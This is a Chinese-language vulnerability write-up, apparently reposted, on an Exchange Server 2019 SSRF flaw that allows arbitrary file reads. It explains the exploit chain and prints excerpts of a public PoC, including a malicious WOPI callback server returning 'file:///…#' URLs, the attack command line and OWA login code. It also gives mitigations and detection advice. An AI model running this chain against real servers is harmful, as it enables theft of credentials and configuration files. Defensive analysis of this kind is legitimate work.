CVE-2026-45504:微软ExchangeSSRF任意文件读取漏洞,PoC已公开

admin 2026-08-15 06:15:38 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: CVE-2026-45504是微软ExchangeServer2019的高危SSRF漏洞(CVSS8.8),允许低权限认证用户通过构造恶意WOPI端点返回file://协议URL,结合#字符绕过参数拼接,实现服务器本地任意文件读取。漏洞利用链涉及TryTwice函数未验证URL协议、GetWacUrl解析WebApplicationUrl时的设计缺陷。公开PoC显示可窃取系统配置、凭证等敏感文件。建议立即安装微软2026年6月补丁,临时缓解需限制服务器出站连接并监控异常EWS活动。 综合评分: 87 文章分类: 漏洞分析,WEB安全,红队,应急响应,解决方案


cover_image

CVE-2026-45504:微软Exchange SSRF任意文件读取漏洞,PoC已公开

原创

Red Hunter Red Hunter

黑白之道

2026年6月26日 08:35 韩国

在小说阅读器读本章

去阅读

导语:微软Exchange Server 2019被曝出严重SSRF(服务器端请求伪造)漏洞CVE-2026-45504,CVSS评分高达8.8。任何Exchange低权限认证用户均可利用此漏洞读取服务器上的任意文件,包括系统配置、加密凭证等敏感信息。HawkTrace研究团队已于6月24日发布完整PoC代码。


一、漏洞概述

CVE编号:CVE-2026-45504 CVSS评分:8.8(高危) 漏洞类型:SSRF(服务端请求伪造) + 任意文件读取 受影响产品:Microsoft Exchange Server 2019 披露时间:2026年6月(微软6月补丁日) PoC公开:2026年6月24日

这个漏洞的特殊性在于:Exchange的WebApplicationUrl字段在返回时未对协议方案(scheme)进行验证。攻击者控制的WOPI(Web应用程序开放协议接口)端点可返回file:///C:/path/to/file这样的URL,让Exchange主动读取本地文件并返回给攻击者。

从攻击者视角看,这就是教科书级的SSRF转文件读取漏洞——一个合法认证的Exchange邮箱用户,无需管理员权限,就能从Exchange服务器上偷走任何文件。

二、漏洞原理深度剖析

要理解这个漏洞,必须先理解Exchange的WOPI调用链。

2.1 TryTwice函数

Exchange内部有一个名为TryTwice的工具函数,它接收URL并调用WebRequest.CreateHttp(url)发起请求:

private static WebResponse TryTwice(ICallContext callContext, string url,
    ICredentials credentials, WebHeaderCollection headers)
{
    WebResponse webResponse = null;
    Exception ex = null;
&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i <&nbsp;2; i++)
&nbsp; &nbsp; {
&nbsp; &nbsp; &nbsp; &nbsp; HttpWebRequest httpWebRequest = WebRequest.CreateHttp(url);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ... 配置请求头、凭据等
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// ... 同步发起请求
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;// ...
}

注意这里的关键问题:url参数被直接传入WebRequest.CreateHttp(),攻击者可以控制这个URL。但仅凭这个还无法读取文件——漏洞的真正威力要结合下面的链才能发挥。

2.2 GetTokenRequestWebResponse函数

这个函数将传入的URL转换为SharePoint REST API请求格式:

string&nbsp;text =&nbsp;string.Format(getWacTokenUrlFormat, endPointUrl,
&nbsp; &nbsp; HttpUtility.UrlEncode(documentUrl.Replace("'",&nbsp;"''")), actionOrAppId);

2.3 GetWacUrl函数(核心漏洞点)

这是漏洞的关键所在。GetWacUrl通过SharePoint的GetWopiTargetPropertiesByUrlGetWacToken接口获取WOPI令牌,并从返回的OData响应中解析三个值:

  • WebApplicationUrl
  • AccessToken
  • AccessTokenTtl

然后构造最终URL:

{WebApplicationUrl}&access_token={AccessToken}&access_token_ttl={AccessTokenTtl}&sc=...

问题来了:如果攻击者控制的WOPI端点返回的WebApplicationUrlfile:///c:/windows/win.ini,Exchange会构造这样的请求:

file:///c:/windows/win.ini&access_token=...&access_token_ttl=...

但这破坏了文件路径,导致Exchange无法正确读取文件。

2.4 转义字符集:#符号的妙用

和SQL注入一样,这里也用到了特殊字符的妙用。#符号正是关键。

如果在WebApplicationUrl中追加一个#字符:

  • 系统会把#之后的所有内容视为URI片段(fragment),并忽略
  • 最终请求变成:file:///c:/windows/win.ini#?...&access_token=...
  • URI解析器只会解析#之前的部分,从而正确读取目标文件

这是整个漏洞利用链最巧妙的设计。

三、利用链完整流程

完整的攻击流程如下:

  1. 攻击者启动恶意WOPI服务器:在自己的机器上启动一个监听指定端口的HTTP服务,模拟SharePoint端点
  2. 创建Exchange EWS ReferenceAttachment:使用认证的低权限Exchange账户,通过EWS(Exchange Web Services)创建一个引用附件,附件的ProviderEndpointUrl指向攻击者的服务器
  3. 受害者打开附件预览:当受害者打开附件预览时,Exchange会向攻击者的服务器发起SSRF请求,请求路径为:
   /_api/SP.Utilities.WOPIHostUtility.GetWopiTargetPropertiesByUrl(
   &nbsp; &nbsp; fileUrl=@p, requestedAction=0)?@p='http://attacker:port/'
  1. 攻击者服务器响应:返回精心构造的XML响应,包含:
   <d:WebApplicationUrl>file:///C:/windows/win.ini#</d:WebApplicationUrl>
   <d:AccessToken>x</d:AccessToken>
   <d:AccessTokenTtl>3600</d:AccessTokenTtl>
  1. Exchange读取本地文件:Exchange根据WebApplicationUrl调用WebClient.OpenRead(),读取服务器上的C:/windows/win.ini文件
  2. 文件内容返回给攻击者:Exchange将文件内容作为附件预览的一部分返回

四、PoC代码解析

HawkTrace公开的PoC代码结构非常清晰,由几个关键组件构成:

4.1 命令行参数

PoC接受以下参数:

python3 CVE-2026-45504.py \
&nbsp; --attacker-ip 192.168.2.238 \
&nbsp; --attacker-port 9020 \
&nbsp; --creds [email protected] \
&nbsp; --password Hawktrace1 \
&nbsp; --target https://mail.exchange.local \
&nbsp; --target-file "C:/Windows/System32/drivers/etc/hosts"

4.2 恶意WOPI服务器(核心利用)

PoC内置一个HTTP回调服务器,关键代码如下:

class&nbsp;CallbackHandler(BaseHTTPRequestHandler):
&nbsp; &nbsp;&nbsp;deflog_message(self, *a):
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;pass

&nbsp; &nbsp;&nbsp;defdo_GET(self):
&nbsp; &nbsp; &nbsp; &nbsp; escaped = _current_path.replace(" ",&nbsp;"%20")
&nbsp; &nbsp; &nbsp; &nbsp; body = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'<?xml version="1.0" encoding="utf-8"?>'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;'<root xmlns:d="http://schemas.microsoft.com/ado/2007/08/dataservices">'
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"<d:WebApplicationUrl>file:///{escaped}#</d:WebApplicationUrl>"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"<d:AccessToken>x</d:AccessToken>"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"<d:AccessTokenTtl>3600</d:AccessTokenTtl>"
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"</root>"
&nbsp; &nbsp; &nbsp; &nbsp; ).encode()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_response(200)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Type",&nbsp;"application/xml; charset=utf-8")
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.send_header("Content-Length",&nbsp;str(len(body)))
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.end_headers()
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;self.wfile.write(body)

注意三个关键点:

  • WebApplicationUrlfile:///协议开头的本地文件路径
  • 末尾的#符号是关键,让后续参数被作为fragment忽略
  • 完整的XML命名空间http://schemas.microsoft.com/ado/2007/08/dataservices与Exchange的解析器匹配

4.3 OWA登录与会话保持

PoC首先通过OWA(Outlook Web Access)认证,获取会话cookie和canary token:

def&nbsp;login():
&nbsp; &nbsp; s = requests.Session()
&nbsp; &nbsp; s.verify =&nbsp;False
&nbsp; &nbsp; r = s.post(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{TARGET}/owa/auth.owa",
&nbsp; &nbsp; &nbsp; &nbsp; data={
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"destination":&nbsp;f"{TARGET}/owa/",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"flags":&nbsp;"4",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"forcedownlevel":&nbsp;"0",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"username": PRINCIPAL,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"password": PASS,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"isUtf8":&nbsp;"1",
&nbsp; &nbsp; &nbsp; &nbsp; },
&nbsp; &nbsp; &nbsp; &nbsp; allow_redirects=False,
&nbsp; &nbsp; &nbsp; &nbsp; timeout=2000,
&nbsp; &nbsp; )
&nbsp; &nbsp;&nbsp;# ... 提取canary

使用requests_ntlm库处理NTLM认证,这是Exchange内网部署的标配认证方式。

4.4 创建EWS ReferenceAttachment

最后,PoC通过Exchange的EWS(Exchange Web Services)接口创建一个引用附件(ReferenceAttachment),这个附件的ProviderEndpointUrl指向攻击者的恶意服务器。后续的攻击链完全由Exchange自动触发。

五、利用条件与影响

5.1 利用条件

  • 能够访问Exchange服务器的OWA接口(内网或VPN)
  • 拥有一个有效的Exchange邮箱账户(哪怕是普通用户权限)
  • 能够连接到攻击者控制的HTTP服务器(通过SSRF回连)

5.2 潜在危害

| 危害等级 | 具体影响 | | — | — | | 机密性泄露 | 读取系统配置文件(如hostsSAM数据库) | | 凭据窃取 | 读取web.config等应用配置文件,获取加密密钥和服务账户密码 | | 权限提升 | 利用读取的配置文件中的服务账户凭据,结合其他漏洞横向移动 | | 情报收集 | 读取Exchange配置文件、邮件规则、连接器配置等敏感信息 |

攻击者从普通员工邮箱账号出发,理论上可以读取Exchange服务器上所有NTFS权限允许的文件,相当于直接从应用层绕过了操作系统级的文件访问控制。

六、修复与缓解

6.1 官方修复

微软已在2026年6月的补丁日发布了针对CVE-2026-45504的安全更新。强烈建议所有Exchange Server 2019管理员立即安装6月累积更新

6.2 缓解措施

在等待官方修复期间,可以采取以下临时缓解措施:

  1. 限制Exchange服务器的出站连接:通过防火墙规则禁止Exchange服务器主动访问外网或攻击者控制的服务器,从根本上切断SSRF回连
  2. 监控异常EWS活动:重点关注包含ReferenceAttachment创建事件的EWS请求和异常的GetWopiTargetPropertiesByUrl调用
  3. 文件完整性监控:在Exchange服务器上部署文件完整性监控(FIM)工具,监控关键系统文件(如win.inihostsweb.config)的异常读取
  4. 最小权限原则:对Exchange邮箱账户进行权限审计,确保普通用户无法读取敏感附件

6.3 长期防御

代码层面,永久修复需要验证WebApplicationUrl返回值的协议方案:

  • 仅允许http://https://
  • 显式拒绝file://ftp://gopher://等非HTTP协议
  • 验证URL的主机名是否在白名单内

七、总结

CVE-2026-45504再次证明:SSRF漏洞的本质从来不是”能不能发出请求”,而是”响应被怎么用”。这次微软Exchange的WOPI集成中,#片段的妙用让SSRF瞬间升级为任意文件读取,危害成倍放大。

对于红队而言,这又是一个低成本高回报的攻击向量——只需要一个普通邮箱账号,就能从Exchange服务器读取关键文件。对于蓝队而言,这是Exchange Server 2019的又一次严峻考验,必须立即打补丁。

关键时间线:

  • 2026年6月:微软发布6月补丁日安全更新,修复CVE-2026-45504
  • 2026年6月24日:HawkTrace团队发布完整PoC代码

参考链接:

  • 推文:https://x.com/DarkWebInformer/status/2069854919859765699
  • 技术Writeup:https://hawktrace.com/blog/CVE-2026-45504/
  • PoC代码:https://github.com/hawktrace/CVE-2026-45504
  • 微软官方公告:https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504

👇 点击阅读原文,访问我的网站



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:黑白之道 Red Hunter Red Hunter《CVE-2026-45504:微软Exchange SSRF任意文件读取漏洞,PoC已公开》

评论:0   参与:  0